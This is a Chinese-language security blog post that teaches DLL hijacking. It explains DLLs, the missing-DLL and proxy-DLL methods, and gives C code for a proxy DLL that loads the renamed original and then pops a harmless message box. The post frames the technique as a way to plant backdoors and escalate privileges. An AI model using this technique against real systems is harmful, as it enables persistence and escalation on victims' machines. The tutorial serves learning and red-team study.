DLL劫持学习

  1. 前言
  2. DLL介绍
  3. DLL劫持的分类
  4. 实现DLL Hijack
  5. 参考链接

前言

DLLhijacking是APT组织和各种红队所喜爱的操作,DLL劫持可用于留后门、权限提升、进程注入等。是个出家必备的技能

DLL介绍

动态链接库英文为DLL,是Dynamic Link Library的缩写。DLL是一个包含可由多个程序,同时使用的代码和数据的库。例如,在 Windows 操作系统中,Comdlg32.dll 执行与对话框有关的常见函数。因此,每个程序都可以使用该 DLL 中包含的功能来实现“打开”对话框。这有助于避免代码重用和促进内存的有效使用。 通过使用 DLL,程序可以实现模块化,由相对独立的组件组成。例如,一个计账程序可以按模块来销售。可以在运行时将各个模块加载到主程序中(如果安装了相应模块)。因为模块是彼此独立的,所以程序的加载速度更快,而且模块只在相应的功能被请求时才加载。

DLL劫持的分类

1.二进制文件调用缺少的DLL

2.劫持正常的DLL

第一种方法的利用方法:只需要找到缺少的dll路径生成恶意的DLL放入对应的路径即可,常使用的工具ProcessMonitor,缺点是有些dll路径是在权高的文件夹中。无一定权限没法操作

第二种方法:使用ProcessMonitor查看程序所加载的DLL,使用CFF_Explorer找到DLL的导入函数。使用IDA Pro分析DLL的函数,创建一个dll此dll加载正常的dll。等正常的DLL加载完成后执行恶意操作

这里我说第二种方法,第一种方法我已经说过了

实现DLL Hijack

这里使用C来做例子,首先使用C创建一个dll和exe

export.h

#ifdef BUILD_DLL //判断是否已加载BUILD_DLL
#define EXPORT __declspec(dllexport) //无的话设置为导出函数
#else
#define EXPORT __declspec(dllimport) //相反设置导入函数
#endif //结束判断
EXPORT void export(void); //定义DLL函数

export.c

#include <stdio.h>
#include "export.h"

EXPORT void export(){
    printf("This is load dll test\n");
}

gcc编译成dll,用命令行执行gcc不要用clion编译

执行gcc -shared -o export.dll export.c -static会生成一个dll

创建一个exe调用这个dll

01.exe

#include <windows.h>
#include <stdio.h>

typedef void (*fun)(); //定义dll函数里的类型
int main(){
    HINSTANCE hdll;
    fun add;
    hdll=LoadLibrary("C:\\Users\\Administrator\\Desktop\\C_Master\\01\\export.dll");
    if(hdll==NULL){
        printf("fuck you load dll\n");
        exit(1);
    }
    add=(fun)GetProcAddress(hdll,"export");
    add();
    FreeLibrary(hdll);
    return 0;
}

我们使用CFF_Explorer可以看到dll的函数

使用IDA pro定位到这个函数进行分析

然后创建一个恶意的dll,这个dll的函数名为export,会加载被改名成demo.dll里面的export函数

#include <windows.h>
#include "export.h"

EXPORT void export(){
    typedef void (*func)();
    func add;
    HINSTANCE hdll;
    hdll=LoadLibrary("C:\\Users\\Administrator\\Desktop\\C_Master\\01\\demo.dll");
    if(hdll!=NULL){
        add=(func)GetProcAddress(hdll,"export");
        add();
    }
    FreeLibrary(hdll);
    MessageBox(NULL,TEXT("THis is DLL hijack"),TEXT("dll hijack"),MB_OK);
}

运行结果

参考链接

gcc打包成DLL的方法https://www.cnblogs.com/ser0632/p/4920653.html
C的条件编译http://c.biancheng.net/view/449.html
C的DLL导入和导出函数https://www.cnblogs.com/xd502djj/archive/2010/09/21/1832493.html
C加载DLLhttps://my.oschina.net/bbi094/blog/704163


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:DLL劫持学习

本文作者:九世

发布时间:2019-09-13, 10:01:55

最后更新:2019-09-13, 10:02:44

原始链接:http://422926799.github.io/posts/47326ba8.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录